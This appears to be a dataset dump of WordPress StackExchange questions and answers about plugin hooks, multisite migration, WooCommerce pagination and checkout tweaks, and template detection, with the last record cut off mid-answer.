qid
int64 4
8.14M
| question
stringlengths 20
48.3k
| answers
list | date
stringlengths 10
10
| metadata
sequence | input
stringlengths 12
45k
| output
stringlengths 2
31.8k
|
---|---|---|---|---|---|---|
333,166 | <p>I have a class whose constructor is the following:</p>
<pre class="lang-php prettyprint-override"><code>public function __construct( $content_type, $filter_fields, $meta_query = '', $taxonomy = '') {
if ( !empty ( $content_type ) ) {
add_action('wp_ajax_myfilter', array($this, 'filter_function'));
add_action('wp_ajax_nopriv_myfilter', array($this, 'filter_function));
...
</code></pre>
<p>I create two instances of the class as follows (filter_list is an array that contains the properties which are not relevant for this purpose)</p>
<pre class="lang-php prettyprint-override"><code> global $filter_builder;
foreach ($filter_list as $filter ) {
$filter_builder[$filter['content_type']] = new FilterBuilder(
$filter[ 'content_type' ], $filter[ 'filter_fields' ], $filter['meta_query'], $filter['taxonomy']
);
}
</code></pre>
<p>The instances are created correctly and everything shows fine until the ajax call is made and the callback function, 'filter_function', is invoked. In theory, each instance has their own callback function when they were created, however, every time that ajax call is made, the function the first instance of the global array is called.</p>
<p>The global array has two instances and when I try and debug the callback, it seems like the same callback is invoked for both instances.</p>
<p>Even though the callbacks have the same name, it should not make a difference. I have created an anonymous function and this odd behaviour continues.</p>
<p>Is there something I am missing? The callback function depends on the content type when it is invoked, and it's always defaulting to the post type that is defined first in the array. </p>
<p>Here is the instance creation simplified in case it helps:</p>
<pre class="lang-php prettyprint-override"><code> $filter_list = array(
array(
'content_type' => 'event',
'filter_fields' => array(
// Text to Display => Field Name
'Suburb' => 'city',
'Postal Code' => 'zip',
),
'meta_query' => '',
'taxonomy' => '',
),
array(
'content_type' => 'contact_center',
'filter_fields' => array(
// Text to Display => Field Name
'Suburb' => 'suburb',
'Postal Code' => 'postal_code',
),
'meta_query' => '',
'taxonomy' => '',
),
);
</code></pre>
<p>If you get this far, I thank you, and if you can help, I thank you even more! :-)</p>
| [
{
"answer_id": 333172,
"author": "tmdesigned",
"author_id": 28273,
"author_profile": "https://wordpress.stackexchange.com/users/28273",
"pm_score": 3,
"selected": true,
"text": "<p>It's possible I'm misunderstanding your question, but the way it is written it seems as though <em>every</em> instance of your FilterBuilder class will <em>always</em> get called. </p>\n\n<p>Each instance of your class has in its constructor:</p>\n\n<p><code>add_action('wp_ajax_myfilter', array($this, 'filter_function'));</code></p>\n\n<p>(as well as the non-logged-in-user version)</p>\n\n<p>There is no conditional here telling it when to run based on which \"content type\" or class instance you have. WordPress is literally being told, \"Every time you get an ajax request for 'myfilter', run this instance's filter_function function.\" And since there are 2 instances in your example, and thus 2 constructors, WordPress is being told that twice (once for each).</p>\n\n<p>WP AJAX functions are generally written to return data and die. (Grim maybe, but true :) So if your's is written as such, only the first registered action will run.</p>\n\n<p>So, in short, it is true that each of your registered hooks is tied to its respective object ($this), and that their similar names is not a hindrance. However, you haven't given WordPress or your AJAX workflow anything to know which instance it should load.</p>\n"
},
{
"answer_id": 333180,
"author": "csaborio",
"author_id": 128294,
"author_profile": "https://wordpress.stackexchange.com/users/128294",
"pm_score": 0,
"selected": false,
"text": "<p>As czerspalace & tmdesigned pointed out, the ajax call needed to be different for each instance. The action registration now looks like this:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code> add_action(\"wp_ajax_myfilter_{$content_type}\", array( $this, 'scorpiotek_filter_function' ) );\n add_action(\"wp_ajax_nopriv_myfilter_{$content_type}\", array( $this, 'scorpiotek_filter_function' ) );\n</code></pre>\n\n<p>And I had to match the value filter of my hidden action input to reflect this change:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><input type=\"hidden\" name=\"action\" value=\"myfilter_<?php echo $this->get_content_type(); ?>\">\n</code></pre>\n\n<p>Thanks both!! :-) </p>\n"
}
] | 2019/04/01 | [
"https://wordpress.stackexchange.com/questions/333166",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/128294/"
] | I have a class whose constructor is the following:
```php
public function __construct( $content_type, $filter_fields, $meta_query = '', $taxonomy = '') {
if ( !empty ( $content_type ) ) {
add_action('wp_ajax_myfilter', array($this, 'filter_function'));
add_action('wp_ajax_nopriv_myfilter', array($this, 'filter_function));
...
```
I create two instances of the class as follows (filter\_list is an array that contains the properties which are not relevant for this purpose)
```php
global $filter_builder;
foreach ($filter_list as $filter ) {
$filter_builder[$filter['content_type']] = new FilterBuilder(
$filter[ 'content_type' ], $filter[ 'filter_fields' ], $filter['meta_query'], $filter['taxonomy']
);
}
```
The instances are created correctly and everything shows fine until the ajax call is made and the callback function, 'filter\_function', is invoked. In theory, each instance has their own callback function when they were created, however, every time that ajax call is made, the function the first instance of the global array is called.
The global array has two instances and when I try and debug the callback, it seems like the same callback is invoked for both instances.
Even though the callbacks have the same name, it should not make a difference. I have created an anonymous function and this odd behaviour continues.
Is there something I am missing? The callback function depends on the content type when it is invoked, and it's always defaulting to the post type that is defined first in the array.
Here is the instance creation simplified in case it helps:
```php
$filter_list = array(
array(
'content_type' => 'event',
'filter_fields' => array(
// Text to Display => Field Name
'Suburb' => 'city',
'Postal Code' => 'zip',
),
'meta_query' => '',
'taxonomy' => '',
),
array(
'content_type' => 'contact_center',
'filter_fields' => array(
// Text to Display => Field Name
'Suburb' => 'suburb',
'Postal Code' => 'postal_code',
),
'meta_query' => '',
'taxonomy' => '',
),
);
```
If you get this far, I thank you, and if you can help, I thank you even more! :-) | It's possible I'm misunderstanding your question, but the way it is written it seems as though *every* instance of your FilterBuilder class will *always* get called.
Each instance of your class has in its constructor:
`add_action('wp_ajax_myfilter', array($this, 'filter_function'));`
(as well as the non-logged-in-user version)
There is no conditional here telling it when to run based on which "content type" or class instance you have. WordPress is literally being told, "Every time you get an ajax request for 'myfilter', run this instance's filter\_function function." And since there are 2 instances in your example, and thus 2 constructors, WordPress is being told that twice (once for each).
WP AJAX functions are generally written to return data and die. (Grim maybe, but true :) So if your's is written as such, only the first registered action will run.
So, in short, it is true that each of your registered hooks is tied to its respective object ($this), and that their similar names is not a hindrance. However, you haven't given WordPress or your AJAX workflow anything to know which instance it should load. |
333,168 | <p>I have a WordPress multisite installation, and I need to remove the multisite, and keeps just the site ID 5 (domain.com/br) in the main address (domain.com). </p>
<p>So I follow this tutorial to remove WordPress multisite installation: <a href="http://premium.wpmudev.org/blog/uninstall-multisite/" rel="nofollow noreferrer">http://premium.wpmudev.org/blog/uninstall-multisite/</a>. After that I dropped <code>wp</code> tables <code>post</code>, <code>terms</code>, <code>term_taxonomy</code> etc, and changed the tables <code>wp_5_</code> to <code>wp_</code>. My site became extremely slow to open pages, his aesthetic was greatly affected, images did not load, so I was informed about the serialized data in the database, and that I should not change the database manually.</p>
<p>I do not intend to migrate the multisite to NGINX, so I think I have 2 options:</p>
<p>Do a stand alone installation (domain.com/br in domain.com, and after redirect .com to .com/br), and stay with a single website.
change the database tables from site ID 5 to the main site tables database (I mean keeps just one database working perfectly), and migrate a single website.</p>
<p>Which do you recommend, and can you provide references on how to do this?</p>
<p>p.s.: I'm disregarding the option of buying a plugin to do this, and learning to do at hand.</p>
| [
{
"answer_id": 333171,
"author": "phatskat",
"author_id": 20143,
"author_profile": "https://wordpress.stackexchange.com/users/20143",
"pm_score": 1,
"selected": false,
"text": "<p>You can try a couple of things. WordPress has a built-in Importer/Exporter you can find under the Tools menu:</p>\n\n<p><a href=\"https://i.stack.imgur.com/WJOol.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WJOol.png\" alt=\"WordPress Admin "Tools" menu showing Import and Export features\"></a></p>\n\n<p>The tool is a bit hit or miss, your mileage may vary.</p>\n\n<p>Alternatively, you can do the following:</p>\n\n<p><em><strong>First</strong>, take backups of everything!!</em></p>\n\n<p>It sounds like you already have, but do it again, just in case.</p>\n\n<ol>\n<li>Export <em>only</em> the <code>wp_5_</code> tables from your current database to a SQL file.</li>\n<li>Next, create a fresh new WordPress single site. Don't add any content or anything, just set it up.</li>\n<li>Import the SQL file from step <code>1.</code> into your single site database. Now, you should have both <code>wp_</code> and <code>wp_5_</code> tables. </li>\n<li>You have a couple of options now: \n\n<ul>\n<li>In your <code>wp-config.php</code>, change this line <code>$table_prefix = 'wp_';</code> to <code>$table_prefix = 'wp_5_';</code> </li>\n<li>OR: Run a query like this for EVERY table you want to migrate: </li>\n</ul></li>\n</ol>\n\n<pre class=\"lang-sql prettyprint-override\"><code>INSERT INTO wp_posts SELECT * FROM wp_5_posts;\n-- ... etc, so for terms you would do\nINSERT INTO wp_terms SELECT * FROM wp_5_terms;\n</code></pre>\n"
},
{
"answer_id": 333246,
"author": "aguyfrombrazil",
"author_id": 164250,
"author_profile": "https://wordpress.stackexchange.com/users/164250",
"pm_score": 0,
"selected": false,
"text": "<blockquote>\n <p>In your wp-config.php, change this line $table_prefix = 'wp_'; to $table_prefix = 'wp_5_';</p>\n</blockquote>\n\n<p>In this case, I need some tables from 'wp_', like users. So, what do you suggest? For example, create new 'wp_5_' tables to users, and them migrate the database with the second option that you gave me. I think this should work.</p>\n\n<blockquote>\n <p>OR: Run a query like this for EVERY table you want to migrate:\n INSERT INTO wp_posts SELECT * FROM wp_5_posts;</p>\n</blockquote>\n\n<p>Will not I have problems with date serialization doing this? </p>\n\n<p>I know that the wp search-replace command does not generate this kind of problem, I was thinking of using it for this.</p>\n\n<p><strong>And about the images?</strong></p>\n\n<p>I do not know in which folder of wp-content I should export the images, and I do not know if I should do this with a predefined rule, for example, if the images are organized according to the upload date of them.</p>\n"
}
] | 2019/04/01 | [
"https://wordpress.stackexchange.com/questions/333168",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164250/"
] | I have a WordPress multisite installation, and I need to remove the multisite, and keeps just the site ID 5 (domain.com/br) in the main address (domain.com).
So I follow this tutorial to remove WordPress multisite installation: <http://premium.wpmudev.org/blog/uninstall-multisite/>. After that I dropped `wp` tables `post`, `terms`, `term_taxonomy` etc, and changed the tables `wp_5_` to `wp_`. My site became extremely slow to open pages, his aesthetic was greatly affected, images did not load, so I was informed about the serialized data in the database, and that I should not change the database manually.
I do not intend to migrate the multisite to NGINX, so I think I have 2 options:
Do a stand alone installation (domain.com/br in domain.com, and after redirect .com to .com/br), and stay with a single website.
change the database tables from site ID 5 to the main site tables database (I mean keeps just one database working perfectly), and migrate a single website.
Which do you recommend, and can you provide references on how to do this?
p.s.: I'm disregarding the option of buying a plugin to do this, and learning to do at hand. | You can try a couple of things. WordPress has a built-in Importer/Exporter you can find under the Tools menu:
[](https://i.stack.imgur.com/WJOol.png)
The tool is a bit hit or miss, your mileage may vary.
Alternatively, you can do the following:
***First**, take backups of everything!!*
It sounds like you already have, but do it again, just in case.
1. Export *only* the `wp_5_` tables from your current database to a SQL file.
2. Next, create a fresh new WordPress single site. Don't add any content or anything, just set it up.
3. Import the SQL file from step `1.` into your single site database. Now, you should have both `wp_` and `wp_5_` tables.
4. You have a couple of options now:
* In your `wp-config.php`, change this line `$table_prefix = 'wp_';` to `$table_prefix = 'wp_5_';`
* OR: Run a query like this for EVERY table you want to migrate:
```sql
INSERT INTO wp_posts SELECT * FROM wp_5_posts;
-- ... etc, so for terms you would do
INSERT INTO wp_terms SELECT * FROM wp_5_terms;
``` |
333,192 | <p>I want to add view all button on my woo-commerce product page after pagination.after clicking the view all button all product will be open.</p>
| [
{
"answer_id": 333207,
"author": "Tanmay Patel",
"author_id": 62026,
"author_profile": "https://wordpress.stackexchange.com/users/62026",
"pm_score": 0,
"selected": false,
"text": "<blockquote>\n<p><strong>Put below code after</strong> this action <code><?php do_action('woocommerce_after_shop_loop' ); ?></code> in <code>archive-product.php</code> file.</p>\n<p><strong>For Category Products Page</strong></p>\n</blockquote>\n<pre><code><?php\n$cat_data = get_queried_object();\n$cat_id = $cat_data->term_id;\nif(is_product_category() && !isset($_GET['showall'])){ ?>\n <a href="<?php echo get_term_link( $cat_id, 'product_cat' ) . "?showall=1"; ?>">Show all</a>\n<?php } ?>\n</code></pre>\n<blockquote>\n<p><strong>For Shop Page</strong></p>\n</blockquote>\n<pre><code><?php if(is_shop() && !isset($_GET['showall'])){ ?>\n <a href="<?php echo get_permalink( woocommerce_get_page_id( 'shop' ) ) . "?showall=1"; ?>">Show all</a>\n<?php } ?>\n</code></pre>\n<hr />\n<blockquote>\n<p>Just add the conditional check to your <code>functions.php</code> file</p>\n</blockquote>\n<pre><code>if(isset( $_GET['showall']) ){ \n add_filter( 'loop_shop_per_page', create_function( '$cols', 'return -1;' ) ); \n} else {\n $default_posts_per_page = get_option( 'posts_per_page' );\n add_filter( 'loop_shop_per_page', create_function( '$cols', 'return '.$default_posts_per_page.';' ) );\n}\n</code></pre>\n"
},
{
"answer_id": 333219,
"author": "djboris",
"author_id": 152412,
"author_profile": "https://wordpress.stackexchange.com/users/152412",
"pm_score": 2,
"selected": false,
"text": "<p>I will offer you a different approach, without the need to actually edit the template files. All you need to do is add those two action hooks to your <code>function.php</code> file (make sure you are using a <a href=\"https://developer.wordpress.org/themes/advanced-topics/child-themes/\" rel=\"nofollow noreferrer\">child theme</a>):</p>\n\n<pre><code>/**\n * This will add a 'Show All' link after the pagination on the shop pages.\n * It will be hidden once it is activated.\n */\nadd_action( 'woocommerce_after_shop_loop', 'wpse333192_add_showall', 40 );\n\nfunction wpse333192_add_showall() {\n\n if ( ! isset( $_GET['showall'] ) ) {\n global $wp;\n\n echo sprintf(\n \"<a href='%s'>%s</a>\",\n home_url( add_query_arg( array_merge( $_GET, [ 'showall' => 1 ] ), $wp->request ) ),\n __( 'Show All', 'text-domain' )\n );\n }\n\n}\n\n/**\n * This will alter the main product query if 'showall' is activated\n */\nadd_action( 'pre_get_posts', 'wpse333192_alter_query_showall' );\n\nfunction wpse333192_alter_query_showall( $query ) {\n\n /**\n * Alter the query only if it is:\n * 1. The main query\n * 2. Post type is product\n * 3. $_GET['showall'] is set\n * 4. $_GET['showall'] equals 1\n */\n if ( $query->is_main_query()\n && $query->get( 'post_type' ) == 'product'\n && isset( $_GET['showall'] )\n && $_GET['showall'] == 1\n ) {\n // Load the 'first' page\n $query->set( 'paged', 1 );\n\n // Set post per page to unlimited\n $query->set( 'posts_per_page', - 1 );\n }\n\n return $query;\n}\n</code></pre>\n"
},
{
"answer_id": 385277,
"author": "g10der",
"author_id": 203538,
"author_profile": "https://wordpress.stackexchange.com/users/203538",
"pm_score": 0,
"selected": false,
"text": "<p>create_function() is deprecated. You should use below code to get the desired result.</p>\n<pre><code> add_filter( 'loop_shop_per_page', 'show_all' ); \nfunction show_all($cols){\n if(isset( $_GET['showall']) ){ \n \n return $cols = -1;\n} else {\n $default_posts_per_page = get_option( 'posts_per_page' );\n return $default_posts_per_page;\n}\n} \n</code></pre>\n"
}
] | 2019/04/02 | [
"https://wordpress.stackexchange.com/questions/333192",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164258/"
] | I want to add view all button on my woo-commerce product page after pagination.after clicking the view all button all product will be open. | I will offer you a different approach, without the need to actually edit the template files. All you need to do is add those two action hooks to your `function.php` file (make sure you are using a [child theme](https://developer.wordpress.org/themes/advanced-topics/child-themes/)):
```
/**
* This will add a 'Show All' link after the pagination on the shop pages.
* It will be hidden once it is activated.
*/
add_action( 'woocommerce_after_shop_loop', 'wpse333192_add_showall', 40 );
function wpse333192_add_showall() {
if ( ! isset( $_GET['showall'] ) ) {
global $wp;
echo sprintf(
"<a href='%s'>%s</a>",
home_url( add_query_arg( array_merge( $_GET, [ 'showall' => 1 ] ), $wp->request ) ),
__( 'Show All', 'text-domain' )
);
}
}
/**
* This will alter the main product query if 'showall' is activated
*/
add_action( 'pre_get_posts', 'wpse333192_alter_query_showall' );
function wpse333192_alter_query_showall( $query ) {
/**
* Alter the query only if it is:
* 1. The main query
* 2. Post type is product
* 3. $_GET['showall'] is set
* 4. $_GET['showall'] equals 1
*/
if ( $query->is_main_query()
&& $query->get( 'post_type' ) == 'product'
&& isset( $_GET['showall'] )
&& $_GET['showall'] == 1
) {
// Load the 'first' page
$query->set( 'paged', 1 );
// Set post per page to unlimited
$query->set( 'posts_per_page', - 1 );
}
return $query;
}
``` |
333,204 | <p>I need help how to hide custom product data tabs (created by plugins) for custom user role on product page editor (see image). </p>
<p><a href="https://i.stack.imgur.com/8z63n.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8z63n.png" alt="enter image description here"></a></p>
<p>I think it suppose to be done by modifying its CSS and apply it on functions.php</p>
<p>Already try and play with the below code and add the element in it, but not working.</p>
<pre><code>// Remove Product Data Tabs Options on product page editor
add_filter('woocommerce_product_data_tabs' , 'hide_wc_product_tabs' );
function hide_wc_product_tabs($tabs) {
if (!current_user_can('yith_vendor')) { // replace role ID with your own
return $tabs;
}
//what code should I implement here
return $tabs;
}
</code></pre>
<p>Any help appreciate. thank you</p>
| [
{
"answer_id": 333207,
"author": "Tanmay Patel",
"author_id": 62026,
"author_profile": "https://wordpress.stackexchange.com/users/62026",
"pm_score": 0,
"selected": false,
"text": "<blockquote>\n<p><strong>Put below code after</strong> this action <code><?php do_action('woocommerce_after_shop_loop' ); ?></code> in <code>archive-product.php</code> file.</p>\n<p><strong>For Category Products Page</strong></p>\n</blockquote>\n<pre><code><?php\n$cat_data = get_queried_object();\n$cat_id = $cat_data->term_id;\nif(is_product_category() && !isset($_GET['showall'])){ ?>\n <a href="<?php echo get_term_link( $cat_id, 'product_cat' ) . "?showall=1"; ?>">Show all</a>\n<?php } ?>\n</code></pre>\n<blockquote>\n<p><strong>For Shop Page</strong></p>\n</blockquote>\n<pre><code><?php if(is_shop() && !isset($_GET['showall'])){ ?>\n <a href="<?php echo get_permalink( woocommerce_get_page_id( 'shop' ) ) . "?showall=1"; ?>">Show all</a>\n<?php } ?>\n</code></pre>\n<hr />\n<blockquote>\n<p>Just add the conditional check to your <code>functions.php</code> file</p>\n</blockquote>\n<pre><code>if(isset( $_GET['showall']) ){ \n add_filter( 'loop_shop_per_page', create_function( '$cols', 'return -1;' ) ); \n} else {\n $default_posts_per_page = get_option( 'posts_per_page' );\n add_filter( 'loop_shop_per_page', create_function( '$cols', 'return '.$default_posts_per_page.';' ) );\n}\n</code></pre>\n"
},
{
"answer_id": 333219,
"author": "djboris",
"author_id": 152412,
"author_profile": "https://wordpress.stackexchange.com/users/152412",
"pm_score": 2,
"selected": false,
"text": "<p>I will offer you a different approach, without the need to actually edit the template files. All you need to do is add those two action hooks to your <code>function.php</code> file (make sure you are using a <a href=\"https://developer.wordpress.org/themes/advanced-topics/child-themes/\" rel=\"nofollow noreferrer\">child theme</a>):</p>\n\n<pre><code>/**\n * This will add a 'Show All' link after the pagination on the shop pages.\n * It will be hidden once it is activated.\n */\nadd_action( 'woocommerce_after_shop_loop', 'wpse333192_add_showall', 40 );\n\nfunction wpse333192_add_showall() {\n\n if ( ! isset( $_GET['showall'] ) ) {\n global $wp;\n\n echo sprintf(\n \"<a href='%s'>%s</a>\",\n home_url( add_query_arg( array_merge( $_GET, [ 'showall' => 1 ] ), $wp->request ) ),\n __( 'Show All', 'text-domain' )\n );\n }\n\n}\n\n/**\n * This will alter the main product query if 'showall' is activated\n */\nadd_action( 'pre_get_posts', 'wpse333192_alter_query_showall' );\n\nfunction wpse333192_alter_query_showall( $query ) {\n\n /**\n * Alter the query only if it is:\n * 1. The main query\n * 2. Post type is product\n * 3. $_GET['showall'] is set\n * 4. $_GET['showall'] equals 1\n */\n if ( $query->is_main_query()\n && $query->get( 'post_type' ) == 'product'\n && isset( $_GET['showall'] )\n && $_GET['showall'] == 1\n ) {\n // Load the 'first' page\n $query->set( 'paged', 1 );\n\n // Set post per page to unlimited\n $query->set( 'posts_per_page', - 1 );\n }\n\n return $query;\n}\n</code></pre>\n"
},
{
"answer_id": 385277,
"author": "g10der",
"author_id": 203538,
"author_profile": "https://wordpress.stackexchange.com/users/203538",
"pm_score": 0,
"selected": false,
"text": "<p>create_function() is deprecated. You should use below code to get the desired result.</p>\n<pre><code> add_filter( 'loop_shop_per_page', 'show_all' ); \nfunction show_all($cols){\n if(isset( $_GET['showall']) ){ \n \n return $cols = -1;\n} else {\n $default_posts_per_page = get_option( 'posts_per_page' );\n return $default_posts_per_page;\n}\n} \n</code></pre>\n"
}
] | 2019/04/02 | [
"https://wordpress.stackexchange.com/questions/333204",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/149781/"
] | I need help how to hide custom product data tabs (created by plugins) for custom user role on product page editor (see image).
[](https://i.stack.imgur.com/8z63n.png)
I think it suppose to be done by modifying its CSS and apply it on functions.php
Already try and play with the below code and add the element in it, but not working.
```
// Remove Product Data Tabs Options on product page editor
add_filter('woocommerce_product_data_tabs' , 'hide_wc_product_tabs' );
function hide_wc_product_tabs($tabs) {
if (!current_user_can('yith_vendor')) { // replace role ID with your own
return $tabs;
}
//what code should I implement here
return $tabs;
}
```
Any help appreciate. thank you | I will offer you a different approach, without the need to actually edit the template files. All you need to do is add those two action hooks to your `function.php` file (make sure you are using a [child theme](https://developer.wordpress.org/themes/advanced-topics/child-themes/)):
```
/**
* This will add a 'Show All' link after the pagination on the shop pages.
* It will be hidden once it is activated.
*/
add_action( 'woocommerce_after_shop_loop', 'wpse333192_add_showall', 40 );
function wpse333192_add_showall() {
if ( ! isset( $_GET['showall'] ) ) {
global $wp;
echo sprintf(
"<a href='%s'>%s</a>",
home_url( add_query_arg( array_merge( $_GET, [ 'showall' => 1 ] ), $wp->request ) ),
__( 'Show All', 'text-domain' )
);
}
}
/**
* This will alter the main product query if 'showall' is activated
*/
add_action( 'pre_get_posts', 'wpse333192_alter_query_showall' );
function wpse333192_alter_query_showall( $query ) {
/**
* Alter the query only if it is:
* 1. The main query
* 2. Post type is product
* 3. $_GET['showall'] is set
* 4. $_GET['showall'] equals 1
*/
if ( $query->is_main_query()
&& $query->get( 'post_type' ) == 'product'
&& isset( $_GET['showall'] )
&& $_GET['showall'] == 1
) {
// Load the 'first' page
$query->set( 'paged', 1 );
// Set post per page to unlimited
$query->set( 'posts_per_page', - 1 );
}
return $query;
}
``` |
333,211 | <p>Consider I've 3 template files</p>
<pre><code>archive.php
archive-books.php
common.php <-- required_once by both archive.php & archive-books.php
</code></pre>
<p>So whether <code>archive-books.php</code> or <code>archive.php</code> is being loaded depends on the current post type.</p>
<p>Since they both include <code>common.php</code>, in the <code>common.php</code>, how to I know which current WordPress template is picked? i.e. <code>archive.php</code> or <code>archive-books.php</code> ?</p>
| [
{
"answer_id": 333212,
"author": "Karun",
"author_id": 63470,
"author_profile": "https://wordpress.stackexchange.com/users/63470",
"pm_score": -1,
"selected": false,
"text": "<p>try this to check if your specific post type archive file is present</p>\n\n<pre><code>$postType = get_query_var( 'post_type' );\nif(file_exists('archive-'.$postType.'.php')){\n // You have the specific archive file for the post type\n}else{\n // You don't have the specific archive file for the post type\n}\n</code></pre>\n"
},
{
"answer_id": 333214,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 0,
"selected": false,
"text": "<p>In this specific case you could simply follow the logic: determine <a href=\"https://developer.wordpress.org/reference/functions/is_archive/\" rel=\"nofollow noreferrer\">if you're on an archive page</a> and <a href=\"https://developer.wordpress.org/reference/functions/get_post_type/\" rel=\"nofollow noreferrer\">what the current post type is</a>. Like this:</p>\n\n<pre><code>if (is_archive() && 'books' == get_post_type) { do your thing }\n</code></pre>\n\n<p>Or you could use the <a href=\"https://developer.wordpress.org/reference/functions/is_post_type_archive/\" rel=\"nofollow noreferrer\">function specific for checking this</a>:</p>\n\n<pre><code>if (is_post_type_archive('books')) { do your thing }\n</code></pre>\n"
}
] | 2019/04/02 | [
"https://wordpress.stackexchange.com/questions/333211",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/16037/"
] | Consider I've 3 template files
```
archive.php
archive-books.php
common.php <-- required_once by both archive.php & archive-books.php
```
So whether `archive-books.php` or `archive.php` is being loaded depends on the current post type.
Since they both include `common.php`, in the `common.php`, how to I know which current WordPress template is picked? i.e. `archive.php` or `archive-books.php` ? | In this specific case you could simply follow the logic: determine [if you're on an archive page](https://developer.wordpress.org/reference/functions/is_archive/) and [what the current post type is](https://developer.wordpress.org/reference/functions/get_post_type/). Like this:
```
if (is_archive() && 'books' == get_post_type) { do your thing }
```
Or you could use the [function specific for checking this](https://developer.wordpress.org/reference/functions/is_post_type_archive/):
```
if (is_post_type_archive('books')) { do your thing }
``` |
333,229 | <p>Does anyone know how I could code something to get the most viewed posts per month (without Jetpack), ideally without having to create a new DB table ?</p>
<p>Maybe there is a smart way to achieve this only using post metas and/or transients.</p>
<p>For the moment, <a href="https://wordpress.stackexchange.com/a/189989/70449">i'm storing an array of stat entries</a> as a post meta, containing a timestamp.
Each time the meta is updated, I delete the timestamps < 1 month.
It works, but i'm not sure that it is a good solution.</p>
<p>Any ideas ?</p>
<p>Thanks</p>
| [
{
"answer_id": 333212,
"author": "Karun",
"author_id": 63470,
"author_profile": "https://wordpress.stackexchange.com/users/63470",
"pm_score": -1,
"selected": false,
"text": "<p>try this to check if your specific post type archive file is present</p>\n\n<pre><code>$postType = get_query_var( 'post_type' );\nif(file_exists('archive-'.$postType.'.php')){\n // You have the specific archive file for the post type\n}else{\n // You don't have the specific archive file for the post type\n}\n</code></pre>\n"
},
{
"answer_id": 333214,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 0,
"selected": false,
"text": "<p>In this specific case you could simply follow the logic: determine <a href=\"https://developer.wordpress.org/reference/functions/is_archive/\" rel=\"nofollow noreferrer\">if you're on an archive page</a> and <a href=\"https://developer.wordpress.org/reference/functions/get_post_type/\" rel=\"nofollow noreferrer\">what the current post type is</a>. Like this:</p>\n\n<pre><code>if (is_archive() && 'books' == get_post_type) { do your thing }\n</code></pre>\n\n<p>Or you could use the <a href=\"https://developer.wordpress.org/reference/functions/is_post_type_archive/\" rel=\"nofollow noreferrer\">function specific for checking this</a>:</p>\n\n<pre><code>if (is_post_type_archive('books')) { do your thing }\n</code></pre>\n"
}
] | 2019/04/02 | [
"https://wordpress.stackexchange.com/questions/333229",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/70449/"
] | Does anyone know how I could code something to get the most viewed posts per month (without Jetpack), ideally without having to create a new DB table ?
Maybe there is a smart way to achieve this only using post metas and/or transients.
For the moment, [i'm storing an array of stat entries](https://wordpress.stackexchange.com/a/189989/70449) as a post meta, containing a timestamp.
Each time the meta is updated, I delete the timestamps < 1 month.
It works, but i'm not sure that it is a good solution.
Any ideas ?
Thanks | In this specific case you could simply follow the logic: determine [if you're on an archive page](https://developer.wordpress.org/reference/functions/is_archive/) and [what the current post type is](https://developer.wordpress.org/reference/functions/get_post_type/). Like this:
```
if (is_archive() && 'books' == get_post_type) { do your thing }
```
Or you could use the [function specific for checking this](https://developer.wordpress.org/reference/functions/is_post_type_archive/):
```
if (is_post_type_archive('books')) { do your thing }
``` |
333,234 | <p>I need to remove checkout page field validation if a particular product is in the cart.</p>
<p>Plugin code : </p>
<pre><code>add_action('woocommerce_checkout_process', 'my_custom_checkout_field_process');
function my_custom_checkout_field_process() {
// Check if set, if its not set add an error.
if ( ! $_POST['developer_name'] )
wc_add_notice( __( 'Please fill in your name.' ), 'error' );
}
</code></pre>
<p>I need to remove this action hook <code>my_custom_checkout_field_process</code> only if the customer added the product_id (19) to the cart. Else there's no need to remove the <code>add_action</code>. </p>
| [
{
"answer_id": 333248,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 1,
"selected": false,
"text": "<p>WordPress compiles a list of actions quite early in the process, possibly before the <code>product_id</code> is known. So you probably (I don't know where WooCommerce executes this action) cannot execute this action conditionally.</p>\n\n<p>However, what you can do is remove the action completely and define a new action that includes the condition. Also you must make sure this is done before the old action is executed. Like this:</p>\n\n<pre><code>add_action ('woocommerce_checkout_process', 'wpse333234_change_hook', 1); // early priority\n\nfunction wpse333234_change_hook () {\n remove_action ('woocommerce_checkout_process', 'my_custom_checkout_field_process'); // remove old hooked function\n add_action ('woocommerce_checkout_process', 'wpse333234_new_hook', 10); // define new hooked function with later priority\n }\n\nfunction wpse333234_new_hook () {\n // Check if set, if its not set add an error.\n if ( ! $_POST['developer_name'] && !$product_id==19)\n wc_add_notice( __( 'Please fill in your name.' ), 'error' );\n }\n</code></pre>\n\n<p>Beware that the latter function will give an error initially, because <code>$product_id</code> is not defined in the function. I don't know how this is defined in WooCommerce. You'll need a way to access this (global?) variable in some way.</p>\n"
},
{
"answer_id": 333333,
"author": "Chan",
"author_id": 155530,
"author_profile": "https://wordpress.stackexchange.com/users/155530",
"pm_score": 3,
"selected": true,
"text": "<p>try this below code in your function.php file or in your plugin </p>\n\n<pre><code>add_action(\"init\", function () {\n // removing the woocommerce hook\n foreach( WC()->cart->get_cart() as $cart_item ){\n $product_id = $cart_item['product_id'];\n if($product_id!='19')\n {\n remove_action('woocommerce_checkout_process', 'my_custom_checkout_field_process');\n }\n}\n});\n</code></pre>\n"
}
] | 2019/04/02 | [
"https://wordpress.stackexchange.com/questions/333234",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/146200/"
] | I need to remove checkout page field validation if a particular product is in the cart.
Plugin code :
```
add_action('woocommerce_checkout_process', 'my_custom_checkout_field_process');
function my_custom_checkout_field_process() {
// Check if set, if its not set add an error.
if ( ! $_POST['developer_name'] )
wc_add_notice( __( 'Please fill in your name.' ), 'error' );
}
```
I need to remove this action hook `my_custom_checkout_field_process` only if the customer added the product\_id (19) to the cart. Else there's no need to remove the `add_action`. | try this below code in your function.php file or in your plugin
```
add_action("init", function () {
// removing the woocommerce hook
foreach( WC()->cart->get_cart() as $cart_item ){
